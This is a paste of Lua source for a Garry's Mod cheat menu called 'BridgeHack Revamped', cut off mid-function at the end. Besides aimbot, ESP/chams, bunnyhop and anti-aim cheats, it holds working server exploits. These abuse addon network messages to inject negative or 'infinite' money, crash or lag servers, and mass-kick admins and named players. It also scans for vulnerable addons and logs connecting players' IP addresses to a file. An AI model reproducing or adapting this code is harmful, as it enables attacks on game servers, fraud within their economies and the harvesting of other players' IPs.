· 8 years ago · Jan 05, 2018, 07:44 PM
1local dversion=1.5
2local dlversion ="Revamped"
3local outdated = 0
4local devbuild = 0
5local pastecheck = 0 // 0 = Bueno 1 = No Bueno
6local crash = 0
7local ulx_spam=0
8local ply = LocalPlayer()
9
10// INSTALIZATION
11// FUNCTIONS
12
13surface.CreateFont( "PopupHFont", {
14 font = "Segoe UI Light",
15 size = 50,
16 weight = 1000,
17} )
18
19surface.CreateFont("HeaderFont", {
20 font = "Segoe UI Semilight",
21 size = 22,
22 weight = 300
23})
24
25surface.CreateFont("PopupFont", {
26 font = "Segoe UI Light",
27 size = 21,
28 weight = 300
29})
30
31surface.CreateFont("HeadingFont",{
32 font = "ChatFont",
33 size = 20,
34 weight = 500,
35 antialias = true,
36})
37
38function SoundClick()
39 if GetConVarNumber("bh_playsound") > 0 then
40 surface.PlaySound("buttons/lightswitch2.wav")
41 else
42end end
43
44function consoleP(message)
45 queries = queries + 1
46 MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
47end
48
49function SoundPop()
50 --buttons/blip1.wav
51 --buttons/button14.wav
52 --buttons/lightswitch2.wav
53 if GetConVarNumber("bh_playsound") > 0 then
54 surface.PlaySound("buttons/button14.wav")
55 else
56end end
57
58local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
59
60function HitBitches()
61 net.Start("hitcomplete")
62 net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
63 net.SendToServer()
64end
65concommand.Add("bh_hithack", HitBitches)
66
67function clearcon()
68 for i=0, 100 do
69 print(" ")
70end end
71
72function cleardchat()
73 for i=0, 100 do
74 chat.AddText(" ")
75 end end
76
77--[[
78 Woo, Coloured chat messages!
79]]--
80function chatP(message)
81 queries = queries + 1
82 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
83 --status(message)
84end
85
86function chatPR(message)
87 queries = queries + 1
88 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
89 --status(message)
90end
91
92function chatPG(message)
93 queries = queries + 1
94 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
95 --status(message)
96end
97queries=1;
98http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
99 serverlist = body
100end,function( error )
101 chatP("Error accessing PasteBin!")
102end)
103
104http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
105 changelogs = body
106end,function( error )
107 chatP("Error accessing PasteBin!")
108end)
109
110function printchange()
111 consoleP(""..changelogs.."")
112end
113concommand.Add("bh_logs", printchange)
114
115--[[
116
117 PASTEBIN
118
119 CHECK
120
121
122]]--
123local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
124
125function CheckPastebin()
126 http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
127 bintext = body
128 local stringbin = ( tostring( bintext ))
129 if (StringM8 == stringbin) then
130 consoleP("Connection to PasteBin is good!")
131 else
132 pastecheck = 1
133 end end) end
134--[[
135~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
136 --]]
137function VersionCheck()
138 http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
139 local findpos = string.find( HTML, "CVERSION =", 0, false )
140 if (findpos) then
141 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
142 if (pastecheck == 1) then
143 chatP("Can't check for newer versions because PasteBin is unaccessable!")
144 elseif ( version > dversion ) then
145 outdated = 1
146 chatP("Your version is out of date!" )
147 elseif ( version == dversion ) then
148 chatP("Your version is up to date." )
149 elseif (version < dversion) then
150 devbuild = 1
151 else
152 chatP("Error checking versions!")
153 end end end) end
154VersionCheck()
155
156
157
158 WELCOME!!!!!
159
160
161*/
162function WelcomeScreen()
163 local Popup = vgui.Create("DFrame")
164 Popup:SetSize( ScrW(), ScrH() )
165 Popup:SetPos( 0,0 )
166 Popup:SetVisible( true )
167 Popup:SetDraggable( false )
168 Popup:SetTitle( "" )
169 Popup:MakePopup()
170 Popup:ShowCloseButton( false )
171
172 Popup.Paint = function(s,w,h)
173 surface.SetDrawColor( Color(0,0,0,200) )
174 surface.DrawRect( 0,0, w,h )
175 surface.SetDrawColor( Color(13,136,69) )
176 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
177 surface.SetTextColor(255,255,255)
178 surface.SetTextPos(w/5.10, h/2.40)
179 if outdated == 0 then
180 surface.SetFont("PopupHFont")
181 surface.SetTextPos(w/5.10, h/3)
182 surface.DrawText("Revamped")
183 surface.SetFont("PopupFont")
184 elseif outdated == 1 then
185 surface.SetFont("PopupFont")
186 surface.SetTextPos(w/5.10, h/2.50)
187 surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
188 else
189 surface.SetFont("PopupHFont")
190 surface.SetTextPos(10, 100)
191 surface.DrawText( "BridgeHack Version "..dlversion.."")
192 surface.SetFont("PopupFont")
193 surface.SetTextPos(w/5.10, h/2.50)
194 surface.DrawText( "Error" )
195 end end
196 button = vgui.Create("DButton", Popup)
197 button:SetSize(110,32.5)
198 button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
199 button:SetText("")
200 button.Paint = function(s,w,h)
201 surface.SetDrawColor( Color(255,255,255) )
202 surface.DrawRect( 0,0, w,h )
203 surface.SetDrawColor( Color(13,136,69) )
204 surface.DrawRect( 0+3,0+3, w-6,h-6 )
205 surface.SetTextColor(255,255,255)
206 surface.SetFont("PopupFont")
207 surface.SetTextPos(30.5,5.5)
208 surface.DrawText( "Alright!" )
209 end
210
211 button.DoClick = function(s,w,h)
212 Popup:Close()
213 SoundClick()
214 end
215
216 logbutton = vgui.Create("DButton", Popup)
217 logbutton:SetSize(110,32.5)
218 logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
219 logbutton:SetText("")
220 logbutton.Paint = function(s,w,h)
221 surface.SetDrawColor( Color(255,255,255) )
222 surface.DrawRect( 0,0, w,h )
223 surface.SetDrawColor( Color(13,170,181) )
224 surface.DrawRect( 0+3,0+3, w-6,h-6 )
225 surface.SetTextColor(255,255,255)
226 surface.SetFont("PopupFont")
227 surface.SetTextPos(10,5.5)
228 surface.DrawText( "Change Logs" )
229 end
230
231 logbutton.DoClick = function(s,w,h)
232 Popup:Close()
233 ChangeLogMenu()
234 SoundClick()
235 end end
236concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
237
238-- Version Menu It Looks PURDY
239
240function ChangeLogMenu()
241 local Panel = vgui.Create( "DFrame" )
242 Panel:SetSize( 800, 600 )
243 Panel:SetPos( ScrW(),ScrH() )
244 Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
245 Panel:SetTitle( "" )
246 Panel:MakePopup()
247 Panel:ShowCloseButton( false )
248 function Panel:Paint( w, h )
249 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
250 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
251 draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
252 end
253
254 local Button = vgui.Create("DButton", Panel)
255 Button:SetPos( 740, 10 )
256 Button:SetSize( 50, 25 )
257 Button:SetText( "" )
258 function Button:Paint( w, h )
259 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
260 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
261 end
262 Button.DoClick = function()
263 Panel:Close()
264 end
265
266 local Label = vgui.Create( "DLabel", Panel )
267 Label:SetColor( Color( 255, 255, 255, 255 ) )
268 Label:SetFont( "DermaLarge" )
269
270 if outdated == 1 then
271 Label:SetText( "Your version " ..dlversion.." is outdated!" )
272 Label:SetTextColor( Color( 255,0,0 ) )
273 elseif outdated == 0 then
274 Label:SetText( "Your version "..dlversion.." is up to date!" )
275 Label:SetTextColor( Color( 0,255,0 ) )
276 else
277 Label:SetText("Error receving version information!")
278 end
279
280 Label:SizeToContents()
281 Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
282
283 local HTML = vgui.Create( "HTML", Panel )
284 HTML:OpenURL( "http://pastebin.com/raw.php?i=Ax9WQ5y7" )
285 HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
286 HTML:SetPos( 25, 100 )
287 HTML.Paint = function()
288 surface.SetDrawColor( Color( 160, 160, 160) )
289 surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
290 end end
291/*
292
293
294 END MENU
295
296
297*/
298local randomvar = math.Rand(0,9999999)
299local BridgeHack = {}
300BridgeHack.RandomVar = randomvar
301local sweg = LocalPlayer():GetEyeTrace().Entity
302local ply = LocalPlayer()
303ply:ConCommand("bh_welcome")
304timer.Destroy("changecolor")
305
306queries=1;
307function status(statu)-- Made for debugging things.
308 queries = queries + 1
309 if GetConVarNumber("bh_showhud") == 1 then
310 hook.Add( "HUDPaint", "drawcurrent", function()
311 surface.SetFont( "BudgetLabel" )
312 surface.SetTextColor( 255,255,255 )
313 surface.SetTextPos( 25, 25 )
314 surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
315 end) end
316
317 if GetConVarNumber("bh_chat_status") == 1 then
318 chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
319 end end
320
321function Debug(message)
322 queries = queries + 1
323 chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
324end
325
326local function CreateCvar(cvar, value)
327 CreateClientConVar(cvar, value)
328 consoleP("CVAR: " .. cvar .. " set to " .. value)
329end
330
331local function ResetCvar(cvar, value)
332 ply:ConCommand("" .. cvar .. " " .. value)
333 Debug("CVAR: " .. cvar .. " reset to " .. value)
334end
335
336CheckPastebin()
337CreateCvar("bh_notify", 1)
338CreateCvar("bh_ulxgag", 1, true, false)
339CreateCvar("bh_playsound",1)
340CreateCvar("bh_hitmenuammount",0)
341CreateCvar("bh_menu_effects", 1)
342CreateCvar("bh_firstload_correct", 1)
343CreateCvar("bh_chat_status", 0)
344CreateCvar("bh_cheats_enabled_on_start", 0)
345CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
346CreateCvar("bh_showhud", 0)
347CreateCvar("bh_esp",0)
348CreateCvar("bh_esp_box",1)
349CreateCvar("bh_debug",0)
350CreateCvar("bh_esp_hp",1)
351CreateCvar("bh_esp_rank",1)
352CreateCvar("bh_renderdistance_enable",0)
353CreateCvar("bh_esp_rdistance",2000)
354CreateCvar("bh_esp_infocolor_r",255)
355CreateCvar("bh_esp_infocolor_g",0)
356CreateCvar("bh_esp_infocolor_b",255)
357CreateCvar("bh_ratm_money2give",100000)
358
359
360if GetConVarNumber("bh_firstload_correct") == 1 then
361 Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching Revamped on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing Revamped, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to Revamped " .. ply:Nick() .. "!", "Click me to continue" )
362 ply:ConCommand("bh_firstload_correct 0")
363 chatP("Welcome to the world of Revamped.")
364
365else
366end
367
368if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
369 ply:ConCommand("incrementvar sv_cheats 0 1 1")
370 status("Enabled sv_cheats to 1")
371else
372end
373if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
374
375 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
376 status("Enabled sv_allowcslua to 1")
377else
378end
379
380// FIXES
381local oChatAddText = chat.AddText
382
383function chat.AddText( ... )
384 local cArgs = { ... };
385
386
387 for k, v in pairs( cArgs ) do
388 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
389 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
390 return false;
391 else
392 end
393 end
394 return oChatAddText( ... );
395end
396
397---------------------------------------// Global timers //---------------------------------------
398if GetConVarNumber("bh_showhud") == 1 then
399 hook.Add( "HUDPaint", "drawcursor", function()
400 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
401 surface.SetDrawColor(c)
402 surface.DrawLine(x - 10, y, x - 5, y)
403 surface.DrawLine(x, y + 5, x, y + 10)
404 surface.DrawLine(x + 10, y, x + 5, y)
405 end)
406
407 hook.Add( "HUDPaint", "drawabout", function()
408 surface.SetFont( "BudgetLabel" )
409 surface.SetTextColor( 46, 204, 113 )
410 surface.SetTextPos( 25, 15 )
411 surface.DrawText( "BridgeHack " .. dlversion )
412 end)
413
414 if GetConVarNumber("bh_debug") > 0 then
415 if system.IsWindows( ) == true then
416 hook.Add( "HUDPaint", "drawdev1", function()
417 surface.SetFont( "BudgetLabel" )
418 surface.SetTextColor( 231, 76, 60 )
419 surface.SetTextPos( 25, 47 )
420 surface.DrawText( "[] Server Operating System: Windows" )
421 end)
422 end
423
424 if system.IsLinux( ) == true then
425 hook.Add( "HUDPaint", "drawdev2", function()
426 surface.SetFont( "BudgetLabel" )
427 surface.SetTextColor( 231, 76, 60 )
428 surface.SetTextPos( 25, 47 )
429 surface.DrawText( "[] Server Operating System: Linux" )
430 end)
431 end
432
433 if system.IsOSX( ) == true then
434 hook.Add( "HUDPaint", "drawdev3", function()
435 surface.SetFont( "BudgetLabel" )
436 surface.SetTextColor( 231, 76, 60 )
437 surface.SetTextPos( 25, 47 )
438 surface.DrawText( "[] Server Operating System: OSX")
439 end)
440 end
441
442 hook.Add( "HUDPaint", "drawdev4", function()
443 surface.SetFont( "BudgetLabel" )
444 surface.SetTextColor( 231, 76, 60 )
445 surface.SetTextPos( 25, 47 )
446 surface.DrawText( "[] Server Operating System: Windows" )
447 end)
448
449 hook.Add( "HUDPaint", "drawdev5", function()
450 surface.SetFont( "BudgetLabel" )
451 surface.SetTextColor( 231, 76, 60 )
452 surface.SetTextPos( 25, 57 )
453 surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
454 end)
455
456 hook.Add( "HUDPaint", "drawdev6", function()
457 surface.SetFont( "BudgetLabel" )
458 surface.SetTextColor( 231, 76, 60 )
459 surface.SetTextPos( 25, 67 )
460 surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
461 end)
462
463 end
464end
465
466status("Starting")
467status("Revamped Loaded")
468
469for k,v in pairs(player.GetAll()) do
470
471 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
472 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
473 end
474consoleP("Revamped, by Daz")
475consoleP(dlversion)
476
477// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
478// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
479
480concommand.Add("bh_hitmanxcrash", function ( ply )
481for i=0,300 do
482for k,v in pairs(player.GetAll()) do
483net.Start( "SendMoney" )
484net.WriteEntity( v )
485net.WriteEntity( v )
486net.WriteEntity( v )
487net.WriteString( "-100000000000000000000000000000000000000000" )
488net.SendToServer()
489
490end end end)
491
492
493function MagnetoThrow()
494-- Nice and easy, turn it slow 180
495 timer.Simple(.02,Turn)
496 timer.Simple(.04,Turn)
497 timer.Simple(.06,Turn)
498 timer.Simple(.08,Turn)
499 timer.Simple(.10,Turn)
500 timer.Simple(.12,Turn)
501 timer.Simple(.14,Turn)
502 timer.Simple(.16,Turn)
503 timer.Simple(.18,Turn)
504 timer.Simple(.20,Turn)
505 timer.Simple(.22,Turn)
506 timer.Simple(.24,Turn)
507 timer.Simple(.26,Turn)
508 timer.Simple(.28,Turn)
509 timer.Simple(.30,Turn)
510 timer.Simple(.32,Turn)
511 timer.Simple(.34,Turn)
512 timer.Simple(.36,Turn)
513-- OH MY GOD WHIP AROUND 180
514 timer.Simple(.46,TurnBack)
515
516 timer.Simple(.7,function() RunConsoleCommand("+attack") end)
517 timer.Simple(.72,function() RunConsoleCommand("-attack") end)
518end
519
520function Turn()
521
522 LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,10,0))
523end
524
525function TurnBack()
526
527 LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,180,0))
528end
529
530concommand.Add("bh_360",MagnetoThrow)
531
532
533concommand.Add("bh_hitmanxinfa", function ( ply )
534for k,v in pairs(player.GetAll()) do
535net.Start( "SendMoney" )
536net.WriteEntity( v )
537net.WriteEntity( v )
538net.WriteEntity( v )
539net.WriteString( "-100000000000000000000000000000000000000000" )
540net.SendToServer()
541
542end end)
543
544concommand.Add("bh_hitmancrash",function()
545 for i=0,5000 do
546 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
547 end
548
549end)
550
551
552concommand.Add("bh_ulxgag",function()
553 if(ulx and ulx.gagUser) then
554 if GetConVarNumber("bh_ulxgag") == 1 then
555 ulx.gagUser(LocalPlayer(),false)
556 else
557 end
558 else
559 end
560
561end)
562
563concommand.Add("bh_antiaim",function()
564 hook.Add("CreateMove",function(cmd, u)
565 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
566 local aa = cmd:GetViewAngles()
567 cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
568end)
569
570end)
571
572
573concommand.Add("bh_infinite_all",function()
574 clearcon()
575 cleardchat()
576 chatP("Giving money, He he")
577for k,v in pairs(player.GetAll()) do
578net.Start( "BailOut" )
579 net.WriteEntity( v )
580 net.WriteEntity( v )
581 net.WriteFloat( -infinite )
582 net.SendToServer()
583 end
584
585end)
586
587concommand.Add("bh_ipsteal",function()
588hook.Add("PlayerConnect", "IPStealer", function(name, ip)
589 file.Append("ips.txt", name .. " - " .. ip .. "\n")
590end)
591
592end)
593
594concommand.Add("dark_wepdupe", function()
595
596
597 timer.Simple( 0.4744, function()
598 RunConsoleCommand("say", "/drop")
599 end)
600
601 timer.Simple( 1.4135, function()
602 RunConsoleCommand("say", "/sleep")
603 end)
604
605 timer.Simple( 7, function()
606 RunConsoleCommand("say", "/sleep")
607 end)
608
609end)
610
611local function MESPCheck(v)
612 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
613 return true
614 else
615 return false
616 end
617end
618
619hook.Add("HUDPaint", "chams", function()
620 for k,v in pairs(player.GetAll()) do
621 if GetConVarNumber("bh_chams") == 1 then
622 if MESPCheck(v) then
623 cam.Start3D(EyePos(), EyeAngles())
624 v:SetMaterial("models/debug/debugwhite")
625 v:SetColor(Color(20, 71, 244, 255))
626 render.MaterialOverride("models/debug/debugwhite")
627 render.SuppressEngineLighting( false )
628 render.SetBlend( 0.3 )
629 render.SetColorModulation( 0, 1, 0 )
630 v:DrawModel()
631 if GetConVarNumber("dead_chams_wire") >= 1 then
632 v:SetMaterial("models/wireframe")
633 render.MaterialOverride("models/wireframe")
634 v:DrawModel()
635 end
636 cam.End3D()
637 end
638 end
639 end
640end)
641CreateConVar("bh_chams",0)
642
643-- "realistic" aimbot
644function aimbotRealistic()
645 if LocalPlayer():GetEyeTraceNoCursor().Entity:IsNPC() or LocalPlayer():GetEyeTraceNoCursor().Entity:IsPlayer() then
646 target = LocalPlayer():GetEyeTraceNoCursor().Entity
647 aimbone = LocalPlayer():GetEyeTraceNoCursor().Entity:LookupBone("ValveBiped.Bip01_Head1")
648 targetheadpos,targetheadang = LocalPlayer():GetEyeTraceNoCursor().Entity:GetBonePosition(aimbone)
649 LocalPlayer():SetEyeAngles((targetheadpos - LocalPlayer():GetShootPos()):Angle())
650 if GetConVarNumber("K_aimbot_autofire") == 1 then
651 rcc("+attack")
652 end
653 else
654 if GetConVarNumber("K_aimbot_autofire") == 1 then
655 rcc("-attack")
656 end
657 end
658end
659
660function realisticEnable()
661 hook.Add("Think","realistic",aimbotRealistic)
662end
663function realisticDisable()
664 hook.Remove("Think","realistic")
665end
666concommand.Add("K_aimbot_+realistic",realisticEnable)
667concommand.Add("K_aimbot_-realistic",realisticDisable)
668
669CreateConVar("K_aimbot_autofire",0)
670
671concommand.Add("bh_annoying_rope", function()
672
673
674 timer.Simple( 0.4744, function()
675 RunConsoleCommand("rope_width", "1000")
676 end)
677
678
679end)
680
681concommand.Add("bh_williamcar_dealer", function()
682
683
684 timer.Simple( 0.4744, function()
685 ply:ConCommand("incrementvar williamcar_dealer 0 1 1")
686 net.SendToServer()
687 end)
688
689
690end)
691
692concommand.Add("bh_fullbright", function()
693
694
695 timer.Simple( 0.4744, function()
696 RunConsoleCommand("mat_fullbright", "1")
697 end)
698
699
700end)
701
702
703hook.Add("HUDPaint","",function( )
704for k, v in next, player.GetAll( ) do
705if v:GetObserverTarget( ) == LocalPlayer() then
706surface.SetTextPos( 1700 , 5 )
707surface.DrawText("you GET Spectated")
708end
709end
710end )
711
712local AddHook = dismay and dismay.AddHook or hook and hook.Add or function() print("fuck i missed") end;
713AddHook("CreateMove", "BHOP", function(cmd)
714if (cmd:KeyDown(IN_JUMP)) then
715if(cmd:GetMouseX() < 0) then --spinning right
716cmd:SetSideMove(-10000);
717elseif(cmd:GetMouseX() > 0) then
718cmd:SetSideMove(10000);
719end
720if (LocalPlayer():IsOnGround()) then
721cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_JUMP));
722return;
723end
724end
725cmd:RemoveKey(IN_JUMP);
726end)
727
728concommand.Add("bh_elstic_width", function()
729
730
731 timer.Simple( 0.4744, function()
732 RunConsoleCommand("elastic_width", "1000")
733 end)
734
735
736end)
737
738function vcmod()
739for i=0,30 do
740 for i=1,10 do
741 net.Start( "AttemptSellCar" )
742 net.WriteInt( i, 8 )
743 net.SendToServer()
744 end
745 end
746end
747concommand.Add("bh_vcmodexploit", vcmod)
748
749local SW = {}
750
751SW.Enabled = false
752SW.ViewOrigin = Vector( 0, 0, 0 )
753SW.ViewAngle = Angle( 0, 0, 0 )
754SW.Velocity = Vector( 0, 0, 0 )
755
756function SW.CalcView( ply, origin, angles, fov )
757 if ( !SW.Enabled ) then return end
758 if ( SW.SetView ) then
759 SW.ViewOrigin = origin
760 SW.ViewAngle = angles
761
762 SW.SetView = false
763 end
764 return { origin = SW.ViewOrigin, angles = SW.ViewAngle }
765end
766hook.Add( "CalcView", "SpiritWalk", SW.CalcView )
767
768function SW.CreateMove( cmd )
769 if ( !SW.Enabled ) then return end
770
771 // Add and reduce the old velocity.
772 local time = FrameTime()
773 SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time )
774 SW.Velocity = SW.Velocity * 0.95
775
776 // Rotate the view when the mouse is moved.
777 local sensitivity = 0.022
778 SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
779 SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
780
781 // What direction we're going to move in.
782 local add = Vector( 0, 0, 0 )
783 local ang = SW.ViewAngle
784 if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
785 if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
786 if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
787 if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
788 if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
789 if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
790
791 // Speed.
792 add = add:GetNormal() * time * 500
793 if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
794
795 SW.Velocity = SW.Velocity + add
796
797 // This stops us looking around crazily while spiritwalking.
798 if ( SW.LockView == true ) then
799 SW.LockView = cmd:GetViewAngles()
800 end
801 if ( SW.LockView ) then
802 cmd:SetViewAngles( SW.LockView )
803 end
804
805 // This stops us moving while spiritwalking.
806 cmd:SetForwardMove( 0 )
807 cmd:SetSideMove( 0 )
808 cmd:SetUpMove( 0 )
809end
810hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove )
811
812function SW.Toggle()
813 SW.Enabled = !SW.Enabled
814 SW.LockView = SW.Enabled
815 SW.SetView = true
816
817 local status = { [ true ] = "ON", [ false ] = "OFF" }
818 print( "SpiritWalk " .. status[ SW.Enabled ] )
819end
820concommand.Add( "bh_sw_toggle", SW.Toggle )
821
822concommand.Add( "bh_sw_pos", function() print( SW.ViewOrigin ) end )
823
824LastTime = CurTime()
825
826function drawdatopscreen()
827 if GetConVarNumber("bh_notify") > 0 then
828 draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
829 sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
830 if sweg == 1 then
831 LastTime = CurTime()
832 end
833 draw.DrawText("Revamped (By Daz) | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
834 end
835end
836hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
837
838concommand.Add("bh_check",function()
839clearcon()
840cleardchat()
841chatP("Checking for exploitable addons...")
842if HIT then
843 chatPG("Hitman X | Found")
844else
845 chatPR("Hitman X | Not Found")
846end
847if HitMenu then
848 chatPG("Hit Menu | Found")
849else
850 chatPR("Hit Menu | Not Found")
851end
852if BAIL then
853 chatPG("BailNPC | Found")
854else
855 chatPR("BailNPC | Not Found")
856end
857if dLogs then
858 chatPG("DLOGS | Found")
859else
860 chatPR("DLOGS | Not Found")
861end
862if ChanNum then
863 chatPG("MXRadio| Found")
864else
865 chatPR("MXRadio | Not Found")
866end
867if VC_Menu_Info_Panel_Build then
868 chatPG("VCMD | Found")
869else
870 chatPR("VCMD | Not Found")
871end
872if MDE then
873 chatPG("MDE | Found")
874else
875 chatPR("MDE | Not Found")
876end
877if NLR then
878 chatPG("NLR | Found")
879else
880 chatPR("NLR | Not Found")
881end
882if Warnings_for_kick then
883 chatPG("ULX Extended | Found")
884else
885 chatPR("ULX Extended | Not Found")
886end
887
888end)
889
890function reloadeddunkalladmins()
891clearcon()
892chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
893timer.Create( "heymnangng", 3, 0, function()
894for k,v in ipairs(player.GetAll()) do
895if( v:GetUserGroup() != "user" ) then
896if v:Nick() != "Gam" then
897for i=0, 700 do
898net.Start( "GetCar" )
899net.WriteEntity(v)
900net.WriteEntity(v)
901net.SendToServer()
902end
903chatP('Kicked: '.. v:Nick().. "!")
904end end end end)end
905concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
906
907function dloglag()
908clearcon()
909print("Lagging server.")
910clearcon()
911print("Lagging server..")
912clearcon()
913print("Lagging server...")
914timer.Create( "dlogsisfucked", 3, 0, function()
915for i=0, 7000 do
916local tosend = {
917 cmd="+forward",
918 args=" "
919
920 }
921 net.Start('dLogsGetCommand')
922 net.WriteTable(tosend)
923 net.SendToServer()
924
925end end) end
926
927concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
928concommand.Add( "bh_dlogs_lag_off", function()
929 clearcon()
930 consoleP("Stopping the lag...")
931 chatP("Stopping the lag...")
932 timer.Destroy("dlogisfucked")
933end)
934
935concommand.Add("bh_admins", function()
936clearcon()
937chatP("Listing non-players..")
938chatP("Check console.")
939consoleP("============= ULX | Custom admin mode RANKS ============")
940for k,v in pairs(player.GetAll()) do
941 if( v:GetUserGroup() != "user" ) then
942 print(v:Nick().. " | ".. v:GetUserGroup())
943 end
944end
945consoleP("========================================================")
946end)
947
948local Spammer = CreateClientConVar("bh_advert", "0", true, false)
949
950local function Spam()
951 if Spammer:GetBool() then
952 RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
953 end end
954timer.Create("Spam", 1.5,0,Spam)
955
956local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
957function kickdaplayer()
958timer.Create( "heymnangng2", 3, 0, function()
959for k,v in ipairs(player.GetAll()) do
960if v:Nick() == GetConVar("g_mx_playername") then
961clearcon()
962print("Kicking: ")
963print(v:Nick())
964for i=0, 700 do
965net.Start( "GetCar" )
966net.WriteEntity(v)
967net.WriteEntity(v)
968net.SendToServer()
969end
970chatP("Kicked ".. v:Nick())
971consoleP("Kicked ".. v:Nick())
972end end end) end
973concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
974
975concommand.Add("Bh_clearcon",function()
976 clearcon()
977
978end)
979
980concommand.Add("Bh_clearchat",function()
981 cleardchat()
982
983end)
984
985
986concommand.Add("bh_3dcardealer_spamstore",function()
987 chatP("You better be looking at a car")
988 for i=0,100 do
989 clearcon()
990 chatP("Spamming store... ".."["..i.."]")
991 net.Start( "RXCAR_Shop_Sell_C2S" )
992 net.WriteTable({EAA=sweg, CDAA})
993 net.SendToServer()
994 end
995
996end)
997
998concommand.Add("bh_serverlist",function()
999 status("Printing lise to console...")
1000 chatP("Check console.")
1001 clearcon()
1002 consoleP(""..serverlist.."")
1003 status("Complete")
1004
1005end)
1006
1007function CheckAE()
1008
1009 if requestTables then
1010 print("ae found, bh_ae will work")
1011 chatP("AE was found, bh_ae will work.")
1012 else
1013 chatP("AE was not found, bh_ae will not work.")
1014 end end
1015concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
1016
1017concommand.Add("bh_ae_kickadmins",function()
1018clearcon()
1019chatP("Attempting to Kick admins")
1020chatP("This will only work on admins+")
